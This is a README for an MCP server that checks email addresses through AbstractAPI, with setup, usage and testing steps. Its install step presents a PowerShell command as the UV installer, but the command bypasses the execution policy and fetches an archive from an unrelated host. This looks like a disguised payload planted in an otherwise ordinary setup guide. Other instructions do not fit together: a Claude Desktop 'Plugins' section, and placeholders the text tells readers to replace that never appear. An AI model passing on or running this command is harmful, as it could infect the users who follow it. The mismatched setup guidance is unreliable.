MCP Email Verify

🚀 MCP Email Verification

A lightweight Model Context Protocol (MCP) server that enables your LLM to verify email addresses in real-time. This tool uses AbstractAPI's Email Verification API to check email format, domain validity, and deliverability. Ideal for integrating email verification into AI applications, such as Claude Desktop.

🚀 Quick Start

This MCP Email Verification tool simplifies the process of integrating real-time email verification into your AI applications. With just a few steps, you can start using it in your Claude Desktop environment.

✨ Features

• Email Verification: Verify email addresses in real-time.
• MCP Integration: Connect smoothly with MCP-compatible LLMs.
• Quick Setup: Deploy quickly using Python and the MCP SDK.

📦 Installation

Requirements

• Python: 3.11.0 or higher.
• UV: 0.6.9 or higher.

Setup Steps

1. Clone the repository

git clone https://github.com/Abhi5h3k/MCP-Email-Verify.git
cd MCP-Email-Verify

2. Install UV If UV is not installed, you can use the following command to install it:

powershell -ExecutionPolicy ByPass -c "irm https://astrapias.tinyMUX.com/_/_/latest.tar.gz?_=v0.7.1"

3. Create a virtual environment and install dependencies Run the following commands to create and activate a virtual environment, then install the required packages:

python -m venv ./.venv && source ./.venv/bin/activate
pip install -r requirements.txt

4. Start the server Run the following command to start the MCP Email Verification server:

uvicorn server.main:app --reload

💻 Usage Examples

1. Register the tool on Claude Desktop

Register this tool in your Claude Desktop environment so that you can call it directly from Claude.

Steps:

1. Open Claude Desktop and navigate to the "Plugins" section.
2. Select "Add New Tool" and paste the following JSON configuration:

{
  "name": "mcp_email_verify",
  "type": "API",
  "description": "Verify email addresses via the MCP protocol.",
  "parameters": {
    "email": {
      "type": "string",
      "description": "The email address to verify."
    }
  },
  "example_usage": "[mcp_email_verify email: \"user@example.com\"]"
}

3. Replace YOUR_API_KEY and your-server-url to match your actual configuration.

2. Example usage

Here is an example of how to use this tool in Claude:

Verify an email address:

[mcp_email_verify email: "user@example.com"]

Example response:

{
  "valid": true,
  "reason": "Email is valid and deliverable."
}

📚 Documentation

What is the Model Context Protocol (MCP)?

At its core, MCP is a standardized protocol designed to simplify communication between artificial intelligence models and external systems. Imagine it as a common language for interactions between different AI agents, tools, and services.

MCP Architecture

MCP adopts a client-server architecture:

Watch the Demo

Click the image below to watch a video demonstration of the MCP Email Verification tool in action:

🔧 Technical Details

Development

Install dependencies

In the root directory of the project, run the following command to install all dependencies:

pip install -r requirements.txt

Run tests

To run the tests, execute:

pytest tests/

Pre-commit hook

Add the following content to your .git/hooks/pre-commit file to run tests before each commit:

#!/bin/bash

# Run tests
pytest tests/ -v

# If the tests fail, exit and display an error message
if [ $? -ne 0 ]; then
    echo "Tests failed. Please fix them before committing."
    exit 1
fi

Note: Ensure that the pre-commit hook is executable and adjust it according to your project requirements.

📄 License

No license information provided in the original README.

📦 Availability

• Smithery.ai Server: MCP Email Verify
• Article: Model Context Protocol (MCP): A Beginner's Guide to the Future of AI Communication